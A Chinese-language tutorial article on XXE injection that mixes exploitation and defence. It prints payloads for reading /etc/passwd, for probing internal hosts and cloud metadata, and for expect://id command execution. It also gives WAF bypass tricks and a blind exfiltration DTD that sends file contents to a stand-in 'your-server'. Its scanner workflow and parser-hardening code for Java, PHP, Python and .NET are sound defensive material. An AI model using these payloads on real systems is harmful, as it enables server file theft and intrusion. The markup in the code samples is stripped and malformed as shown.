ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

XXE漏洞深度解析:原理、利用、检测与防御

XXE漏洞深度解析:原理、利用、检测与防御 1. 为什么一个不起眼的XML上传能让攻击者拖走整台服务器的数据1.1 先说一个我在授权测试中遇到的场景有一家做企业协同办公的厂商他们的系统里有一个导入系统配置的功能用户通过上传一个XML文件来批量设置部门结构、角色权限。这类需求在企业软件里很常见开发者的第一反应通常是解析XML、提取结点、写入数据库。听起来平平无奇对吧我在做渗透测试时把一份正常的XML配置改成了这样?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root上传之后响应包里原本应该显示部门名称的地方直接回显了Linux系统的用户列表。换句话说我只是在XML里声明了一个外部实体服务器就把自己的敏感文件内容吐了出来。整个过程没有任何复杂的工具一个Burp Suite的Repeater就能完成。这不是个例。XXEXML External EntityXML外部实体注入在OWASP Top 10里已经连续多年榜上有名2021年它被归类到注入大类下。国内不少主流OA系统、ERP系统、数据交换平台都爆过类似的漏洞。它的特点就是看起来人畜无害一个XML文件而已但触发条件一旦满足危害能从任意文件读取一路升级到内网漫游。这篇文章我会把XXE的原理、利用方式、绕过技巧、扫描器检测思路和防御措施全部串起来讲一遍尽量做到从零基础到能上手验证。无论你是刚入门的安全新人、写接口的研发还是负责漏洞修复的运维看这篇基本就够了。1.2 XML的信任错觉DTD、ENTITY和外部资源加载要彻底搞懂XXE得先理解XML规范里的两个基础机制DTD和ENTITY。DTD全称Document Type Definition也就是文档类型定义它的作用是规定一份XML文档里可以有哪些元素、哪些属性。在XML发展的早期DTD还承担着一个重要职责定义实体ENTITY。实体本质上就是一个占位符。你可以在DTD里声明一个实体然后在XML正文中通过实体名;来引用它解析器会自动把它替换成声明时定义的值。比如!DOCTYPE foo [ !ENTITY myname 张三 ] root namemyname;/name /root解析结束后myname;会被替换成张三。这本身没什么危害就是个字符串替换功能。问题出在外部实体上。XML规范允许实体定义指向一个外部资源!ENTITY xxe SYSTEM file:///etc/passwd任何符合规范的XML解析器在执行到这种声明时都需要去读取file:///etc/passwd这个外部资源并把内容代入实体。这本来是设计给开发者用来共享DTD文件、引用外部配置的比如在多个XML文件里引用同一个版权声明模板。现在关键的问题来了解析器是否允许加载外部实体以及加载哪些协议完全取决于开发者的配置。如果解析器允许加载外部实体且没有限制协议file://就能读服务器本地文件http://就能让服务器主动发起请求变成SSRFphp://filter或者expect://在特定语言下甚至能读到源码或执行命令即使解析结果不回显攻击者也可以利用报错信息、外部流量等半盲方式把数据带出来。所以XXE的本质是攻击者利用XML的外部实体声明让服务端的XML解析器去访问“攻击者指定的资源”。这里的信任错觉在于开发者以为我在解析一份数据但实际上解析器在替攻击者访问外部世界。整个攻击链路的起点就是一个被信任的、功能健全的XML解析器加上一段用户可控的XML输入。2. XXE的底层触发条件与三类核心利用姿势2.1 触发XXE的三大前置条件我在分析一个接口是否存在XXE时会先做三个判断三个条件缺一个都打不进来第一程序确实解析了用户可控的XML数据。这一点看起来简单但实际项目里经常出现接口接收JSON参数内部拼装成XML再转发给下游服务的情况。比如CSRF token、OAuth断言、SAML报文、微信支付回调、某些第三方登录回调都有可能在开发者不知情的情况下把用户输入塞进XML解析器。另外很多文件上传功能收的是.docx、.pdf、.svg这些文件本质上是XML的变体同样会成为攻击入口。第二XML解析器加载了外部实体且没有限制DTD。传统解析器如Java自带的DocumentBuilderFactory、PHP的simplexml_load_string、Python的lxml在不同版本、不同配置下默认行为并不一致。有的默认允许外部实体有的默认禁止但开发者可能为了某些业务功能比如读取远程配置文件主动打开了外部实体加载。第三输入的内容没有被有效过滤。这里说的是有效。如果你只是简单拦截了DOCTYPE字符串、SYSTEM关键字那么攻击者可以轻松用编码、大小写变形、外部DTD套娃等方式绕过去。后面我会专门讲绕过。我在实际测试中第一步永远是先看解析器配置第二步才是构造payload。因为有些接口单纯传一个带实体的XML解析器根本不解析DTD你在那儿折腾半天其实漏洞本身就不成立。2.2 文件读取不可回显就让它报错说回最初那个场景。当服务器回显了/etc/passwd的内容这是最直观的XXE利用方式——有回显文件读取。Payload长这样?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root实体被替换后文件内容嵌入到XML文档结构里最终随业务响应返回到攻击者面前。但在真实环境中有回显其实是少数情况。很多接口解析完XML之后只会返回解析成功或解析失败这样的固定文本文件内容根本不会展示。这时候最有效的方式是报错外带?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///nonexistent !ENTITY % error !ENTITY #x25; aaa SYSTEM file:///etc/passwd ] rootxxe;/root思路是这样的解析器在加载外部实体时如果资源不存在或者引用的URL不对就会把资源路径的一部分放进报错信息里。结合参数实体你就能把目标文件内容拼接进一个不存在的URL中诱导解析器报错再让报错信息带着目标文件内容回显出来。这里的关键是理解参数实体%开头的实体和普通实体的配合普通实体在引用时才会展开参数实体主要在DTD内部使用。利用两者嵌套可以达到把文件内容动态拼接进报错地址的效果。这类技巧在盲XXE里也几乎是必修课。2.3 内网探测XXE秒变SSRF文件读取只是入口XXE真正的麻烦在于它是一个合法的服务器发起请求通道。因为外部实体可以指向http://协议所以只要解析器没有限制协议服务器就会主动去访问攻击者指定URL。这带来几种高频利用场景探测内网存活主机通过响应时间、报错内容判断http://192.168.1.1/这样的地址是否存在端口扫描同一个IP逐个尝试常见端口端口开放与不通的响应有明显差异访问云元数据服务在云环境下通过http://169.254.169.254/latest/meta-data/等地址可能拿到临时密钥、IAM角色信息、内部标识等敏感数据读取内部Web页面某些管理后台没有做IP白名单只允许内网访问XXE正好可以绕过这个限制。我在一次内网测试中发现某个后台系统只允许来自内网的回调请求。当时没有直接打进内网的路径但一个XXE解析接口存在我就利用http://实体尝试访问内网的管理端口成功从响应差异中判断出目标机存在一个未授权访问的管理页面最终打穿了一条完整的攻击链。这里要特别提醒**SSRF型XXE的危害边界取决于目标服务器能访问的网络范围。**云环境、容器环境、混合网络架构下一个XXE探到的内网范围可能比传统办公网大得多。这也是为什么我在报告中一旦确认SSRF型XXE都会把内网探测风险列为高优先级问题。2.4 命令执行与盲打边界条件在哪里很多初学者问XXE能不能直接getshell答案是有条件而且条件相当苛刻不能宣传为通用姿势但值得理解原理。常见路径有三条一是特定PHP扩展。当目标使用PHP且安装了expect扩展时expect://id这类伪协议可以直接执行系统命令!ENTITY xxe SYSTEM expect://id但这个扩展默认不安装企业生产环境里很少见到所以实际利用率不高。二是利用php://filter读取源码。虽然不能直接RCE但通过php://filter/convert.base64-encode/resourceindex.php可以拿到PHP源码。拿到源码之后继续挖掘代码里的其他漏洞往往比直接搞XXE更高效。这类利用本质上是文件读取的扩展但价值不亚于RCE。三是利用Java的jar协议或反序列化链。Java环境下jar://和netdoc://协议可能被支持配合本地反序列化利用链有机会实现更深入的利用。但这里涉及很多版本和依赖条件属于进阶话题。相对而言实践中遇到更多的其实是盲XXE。目标解析XML后不回显、不报错但请求可以外发。比如你部署一个临时HTTP服务构造外部实体指向你的服务器?xml version1.0? !DOCTYPE foo [ !ENTITY % dtd SYSTEM http://your-server/evil.dtd %dtd; ] roottest/root你的服务器日志里就会留下目标服务器发来的请求记录。这个外带通道可以用来确认漏洞存在、判断目标环境甚至把文件内容一点一点带出来。盲XXE的外带方案需要目标服务器出网权限做支撑如果目标禁止出网就只能靠报错回显或者干脆放弃这也是实战中判断这个XXE能不能被利用的关键转折点。3. 从零手工确认XXE构造Payload的完整链路与绕过细节3.1 最小化验证三种模式一个流程走完我在验证一个疑似XXE的接口时习惯按回显型→报错型→盲外带的顺序递进每一步都有明确目的不盲目上复杂Payload。第一步先打回显型。构造最简外部实体指向一个确定存在的文件看响应里是否会带入文件内容。如果业务本身会回显XML解析后的字段值这一步就能直接确认。GET /upload HTTP/1.1 Content-Type: application/xml ?xml version1.0? !DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd] rootnamexxe;/name/root注意Content-Type最好用application/xml或text/xml。很多开发者写的接口是既能收JSON也能收XML框架会根据Content-Type自动切换解析器。如果你用JSON格式提交XML解析器可能根本不会被触发。第二步回显不明确就打报错。当响应是一个固定页面时我们不知道解析器到底有没有执行外部实体加载。可以构造一个外部实体指向file:///etc/hosts再故意让它引用一个不存在的子元素或路径观察报错信息里是否泄漏了文件访问痕迹。第三步盲外带。如果目标不回显、不报错但在一个你完全可控的服务器上收到了来自目标IP的请求说明外部实体加载成功漏洞确认。这时候再决定要不要继续利用。这里给一个我工作中常用的参考表验证方式判断依据优缺点回显型响应中直接出现目标文件内容最快确认Payload简单报错型错误信息中携带文件路径或内容片段适用无回显场景依赖报错逻辑盲外带攻击者服务器收到目标发出的HTTP/DNS请求适用完全瞎traceroute场景需要出网条件3.2 绕过过滤的语法变形编码、DTD嵌套与无实体利用厂商在漏洞被爆之后第一反应往往是加WAF规则或者关键词过滤最常见的就是过滤!DOCTYPE、SYSTEM、ENTITY这几个字眼。这种过滤在正则工程师看来天衣无缝但在XML解析器眼里有大量合法的写法可以绕过。第一招编码绕过。XML解析器支持UTF-8、UTF-16等多种编码。很多WAF和过滤器只处理UTF-8文本可你把整个XML文件转成UTF-16编码后用POST上传WAF看的一头雾水解析器却能完美加载。Burp Suite里可以直接选中请求体通过右键Convert selection来切换编码。实测中这种绕过成功率极高尤其对云WAF。第二招大小写与空白变形。有的过滤规则忽略了XML对大小写敏感的特性只匹配了小写system。你写成SYSTEM、System可能就绕过去了。还有的过滤没有考虑实体声明前面可以带大量空白字符、注释甚至?xml version1.0?中的空格这些都可以用来干扰正则匹配。第三招外部DTD套娃。如果过滤器把参数实体和外部实体同时禁了或者禁止直接使用SYSTEM我们可以把恶意DTD定义放在一个外部文件里目标解析器主动去加载这个外部DTD?xml version1.0? !DOCTYPE foo SYSTEM http://your-server/evil.dtd roottest/rootevil.dtd里再定义真正的外部实体。这招可以绕过大部分只关注请求体内容的WAF规则因为恶意实体定义不在请求体里而在服务器的二次请求中。第四招不依赖实体的DTD报错。在一些特殊场景下攻击者甚至可以通过DTD的元素定义触发解析错误把文件内容带进错误消息。这类技巧相对冷门但正因为冷门反而经常在防御者的盲区里。3.3 无回显场景下的外带通道建设参数实体与外部服务器配合讲到盲XXE就绕不开参数实体parameter entity。参数实体是DTD内部使用的实体定义时用%开头引用时也用%结尾比如!ENTITY % payload SYSTEM file:///etc/passwd %payload;参数实体的关键作用在于它可以在DTD声明阶段被展开而普通实体只能在实际引用时展开。利用这一点我们可以让解析器在加载外部DTD的过程中顺带把参数实体指向的文件内容拼接到URL里发送到攻击者服务器。常见的盲打Payload分两个文件第一个是交给目标解析器的XML第二个是托管在攻击者服务器上的恶意DTDpayload.xml内容?xml version1.0? !DOCTYPE message [ !ENTITY % remote SYSTEM http://your-server/evil.dtd %remote; %send; ] messagetest/messageevil.dtd内容!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; send SYSTEM http://your-server/?data%file; %eval;这里面的%在DTD里需要被转义成#x25;否则解析器会把%send;当作参数实体引用导致声明无效。整个链路是目标解析器加载外部DTD把/etc/passwd内容赋给%file参数实体然后拼接成一条请求发往攻击者服务器攻击者日志里就能看到Base64编码后的文件内容。这个方案里有几个容易踩的坑参数实体不能在XML内部被普通引用放错位置会导致解析失败某些解析器禁止参数实体引用外部实体需要换用一般外部实体组合目标服务器可能过滤出站HTTP流量这时可以考虑DNS外带但DNS通道传数据效率低只适合确认漏洞和少量数据。我在自建外带验证时最稳妥的组合是一个配置了简单日志的VPS加一条nc -lvp端口收到请求后立刻就能看到来源IP和请求行。确认盲XXE的存在只需要一个HTTP请求日志就足够了。4. 用扫描器自动化发现XXE检测原理、误报和正确的半自动化姿势4.1 常见扫描器对XXE的检测原理标题里提到web漏洞扫描工具这里专门聊一下扫描器对XXE的检测逻辑。明白原理你才不会被扫描结果带着走。主流漏洞扫描器比如Burp Suite Pro、AWVS、XRAY、OpenVAS以及各种国内安全厂商的商业扫描器对XXE的检测大致分三类静态特征匹配发送包含!DOCTYPE、!ENTITY、SYSTEM等特征的请求观察响应中是否出现file://、/etc/passwd等关键字或错误信息。这种方式速度快但本质是打特征很容易被WAF拦截也容易被业务响应格式干扰。差异对比构造一个正常XML和一个带外部实体的XML对比响应时间、响应长度、状态码差异。比如请求http://your-server/xxe_ {timestamp}这样的外部URL如果目标发起了请求或者响应出现了时间差就判定存在XXE。这种方式比静态特征靠谱但误报率也不低。外带交互验证扫描器内置一个可控的域名或服务器地址如果目标服务器真的发起了外带请求则高度确信存在XXE。这类属于最可靠的检测方式但需要扫描器具备独立的外带接收平台。这里必须提醒一句很多扫描器默认对XXE的检测并不激进。因为这是重活既需要构造复杂嵌套Payload又需要处理编码问题不少扫描器只是发送几个固定模板漏报率相当高。我见过不少客户跟我说扫描器没扫出来应该没漏洞结果手工一测就是高危XXE。所以扫描器应该当辅助工具不能当唯一结论。4.2 原理扫描为什么会误报以CVE-2016-2183这类逻辑为例扫描过程中的误报几乎每个安全工程师都遇到过。比如SSL/TLS协议信息泄露漏洞CVE-2016-2183很多扫描器并不实际验证数据流而是通过识别目标服务器支持的加密套件发现存在3DES这类弱算法就直接标记为【原理扫描】——意思是根据原理判断可能存在问题但未实际利用验证。XXE扫描里的误报也类似。扫描器发送一个带外部实体的请求目标服务器可能因为业务逻辑本身就返回XML解析失败或者直接返回500状态码扫描器如果只根据包含SYSTEM关键词的请求触发了500就判定存在XXE就会产生大量假阳性。所以我处理扫描报告的习惯是扫描器报出来的XXE每个都要人工复核一遍。怎么复核找到那一条原始请求和响应手工替换成确认型Payload比如指向一个自己控制的URL观察是否收到回显、报错或外带流量确认是真实漏洞后再按业务影响评危害等级。只有走完这一步写进报告里的才算数。直接把扫描器输出复制粘贴到报告里是对甲方的不负责也是对自己专业判断力的浪费。4.3 半自动化工作流Burp Suite 自定义规则 外带平台既然纯扫描器漏报多纯手工又低效我日常用的是半自动化流程。第一步用Burp Suite的Site map梳理目标应用的所有请求筛选出包含XML、upload、import、parse、callback等关键词的接口这些是XXE的高发入口。第二步把这些接口中涉及的用户输入点统一标记然后用Burp的Intruder一次性批量替换Content-Type为application/xml测试接口是否会按XML解析。如果响应发生变化说明该接口具备XML解析能力进入下一步。第三步对确认的XML解析接口逐个发送标准三件套Payload文件读取实体file:///etc/passwd外带验证实体http://your-server/xxe-probe报错型嵌套实体这里有个小技巧外带验证的URL要带一个唯一ID比如http://vps:8888/{接口名}-{时间戳}这样一旦你的VPS日志里出现了这个ID你可以精确对应到是哪个接口、哪个参数触发的XXE也能排除是其他来源流量干扰造成的误判。第四步如果目标请求是JSON格式我会尝试在JSON里嵌套XML字符串或把Content-Type手动改成application/xml再传XML内容。不少后端框架尤其是Spring、Express会同时绑定多个解析器Content-Type一改请求就会走XML解析分支。我还在Burp里配过一个自定义插件凡是在响应中出现org.xml.sax、org.xml.sax.SAXParseException、libxml报错字样自动高亮标记。这类解析异常信息是发现XXE的天然信号比任何扫描器的规则都直接。4.4 扫描器漏报的重灾区SVG、DOCX、XLSX和SOAP接口就算你人工把所有POST接口都测了一遍也不能说百分百安全。XXE还潜伏在大量不叫XML但本质是XML的场景里。SVG图片SVG是矢量图格式底层就是XML。很多网站支持用户上传头像后台处理SVG时如果使用了解析XML的组件那么恶意SVG文件就可以携带外部实体读取服务器文件。这也是为什么我在测试任何图片上传功能时都会先上传一个包含外部实体的SVG看看反应。DOCX、XLSX、PPTXOffice Open XML文档本质上是ZIP包里面全是XML文件。应用在解析文档元数据、提取文本内容时只要调用了XML解析器就可能被注入。一个看似无害的Word附件上传很可能演变成文件读取漏洞。SOAP与WebServiceSOAP消息本身就是XML信封很多老系统的WebService接口绕过了网关安全检测直接暴露在公网。测试时可以在SOAP Action字段或Body里插入外部实体声明尝试读取服务器文件。RSS/Atom源内容管理系统在聚合远程RSS源时通常会对XML做解析。攻击者可以搭建一个恶意RSS源诱使目标服务器的解析器加载外部实体。扫描器对这些场景的覆盖基本为零因为扫描器不知道哪个上传接口背后接的是XML解析器也不知道哪个RSS源会被目标抓取。这也是我一直强调手工测试不可替代的主要原因。5. 防御XXE从解析库配置到架构级加固5.1 语言视角的标准修复姿势防御XXE首要任务是在代码层面让XML解析器禁止外部实体加载。不同语言、不同解析库的配置方式差异很大我把最常用的几种整理成了一份可以直接抄的清单。JavaJava生态里XXE的重灾区集中在DocumentBuilderFactory、SAXParserFactory、XMLInputFactory。修复的核心是同时关闭DTD加载和外部实体解析DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 禁用DTD dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 禁用外部通用实体 dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用参数实体 dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 非必须时关闭外部DTD dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false);如果你用的是SAXParserFactory同样的Feature也适用。重点提醒只设置其中一项是不够的比如只关disallow-doctype-decl有的Java版本在外部实体请求上仍可能行为不一致最稳妥的做法是几个Feature全部加上。PHPPHP在libxml 2.9.0以前外部实体默认就是加载的很多老代码根本没显式开启过。修复方式如下libxml_disable_entity_loader(true); $doc simplexml_load_string($xml);但要注意libxml_disable_entity_loader在PHP 8.0以上版本已经废弃因为PHP 8.0开始libxml默认就不允许加载外部实体了。如果你的项目还在用PHP 7.x务必保留这行代码PHP 8.x则建议升级现代写法例如通过LIBXML_NONET选项禁止网络访问$doc simplexml_load_string($xml, SimpleXMLElement, LIBXML_NONET);PythonPython的xml.etree.ElementTree在标准库中默认对部分外部实体报错但千万不要依赖默认。更保险的做法是使用defusedxml库它对XXE、Billion Laughs等XML攻击做了完整的防护封装from defusedxml.ElementTree import fromstring tree fromstring(xml_data)这个库在PyPI上可以直接安装是我做Python服务时的默认选择。如果项目里用了lxml需要关闭网络访问并禁止实体from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.fromstring(xml_data, parserparser)GoGo的encoding/xml默认不解析外部实体这是标准库设计上的优势。但如果你在项目里引入了第三方XML解析库就需要自己检查文档确认是否支持外部实体加载。Go场景里XXE风险相对低但并不能因此完全不设防JSON等替代格式的协议转换接口也要留意。C#/.NET.NET Framework的XmlDocument默认加载外部实体这是历史惯例。修复方式XmlReaderSettings settings new XmlReaderSettings(); settings.DTDProcessing DTDProcessing.Prohibit; settings.XmlResolver null; XmlReader reader XmlReader.Create(xmlStream, settings);XmlResolver设为null是关键一步它从根源上掐断了外部资源加载路径。仅设DTDProcessing.Prohibit可能还不够因为某些场景下DTD处理被设置为Parse但Resolver为空才能真正阻止外部资源。5.2 不要只依赖WAF输入侧、文件侧与协议白名单很多企业的防御思路是在网关加WAF规则或者部署一套RASP这没问题但不能作为唯一防线。WAF的难点在于XXE Payload变形太容易UTF-16编码、外部DTD套娃、请求体分包都能绕过基于规则的检测。我建议做输入侧和文件侧的双重防御输入侧限制。对上传/提交的内容做schema校验。XML解析前先验证是否符合预期的命名空间、根元素、节点结构不是预期结构直接拒绝。这个步骤不仅防XXE也能防Billion Laughs之类的实体扩展攻击。如果业务允许尽量用JSON替代XML做数据交换能从源头消灭一大半解析风险。文件侧白名单。如果业务必须接收SVG、DOCX等XML变体文件就要在文件解析前做文件类型识别而不是仅仅依赖扩展名和Content-Type。DOCX这类文件不仅要解压检查是否包含恶意实体声明还要在解析元数据时使用禁止外部实体加载的配置。很多团队忽略了解析DOCX的代码和解析XML的代码是同一套逻辑修复时只改了XML解析接口却忘了文档解析模块。协议白名单。如果业务确实需要加载外部DTD比如某些配置分享功能尽量将允许的协议收敛为HTTPS并对可访问的域名做白名单。同时外部实体引用的资源最好经过专门的下载代理而不是直接交给XML解析器去拉取这样即使出现异常也能在代理层做审计和阻断。5.3 纵深防御最小权限、出网限制与监控就算代码层配置全部修好我还是建议从架构层面补几道防线尤其是出网权限和监控告警。最小权限原则。XML解析进程运行的操作系统账号应该做到最小权限。很多XXE漏洞能直接读取/etc/passwd只是因为Web进程权限太高。如果Web服务运行在专用低权限账号下即使攻击者成功读取文件能读到的敏感信息也会少很多。数据库凭据、云密钥、内部配置等文件都应该对Web进程设置为不可读。出网限制。盲XXE外带需要目标服务器能够访问外部网络。在一个配置良好的网络环境中Web服务器不应该能随意访问任意公网地址。我在不少企业里见过互联网出口只开放80/443端口这样攻击者即使触发了XXE也无法将数据外带出来漏洞的实际危害会大幅降低。内网段之间的访问也应该按业务实际需要做白名单而不是默认全通。异常流量监控。所有XML解析接口都建议记录请求来源、解析耗时、是否加载外部资源等日志。如果发现某个接口在短时间内大量请求外部URL或者解析时间异常增长就需要及时告警。Billion Laughs攻击的一个特征就是解析时间骤增这类异常在日志里非常明显。上线前安全测试。我特别建议把XXE测试用例纳入CI/CD流程。每次代码变更、升级XML解析库版本、引入新依赖都自动跑一遍固定的XXE测试集。这个测试集至少包括标准文件读取实体、UTF-16编码实体、外部DTD套娃、SVG上传。这几个用例覆盖了绝大多数XXE触发模式而且完全不依赖扫描器在测试环境随时可以执行。我个人在实际项目里的体会是XXE防御最难的地方不是技术而是知道哪些地方在解析XML。很多团队的系统里XML解析分散在API网关、文件处理、消息队列、第三方SDK等各个位置你只修了一个已知接口另一个藏在文档解析组件里的入口可能在更隐蔽的地方。所以在做完一轮防御后用固定的测试集从外部视角再验证一遍确认没有遗漏才是最稳妥的收尾方式。
返回列表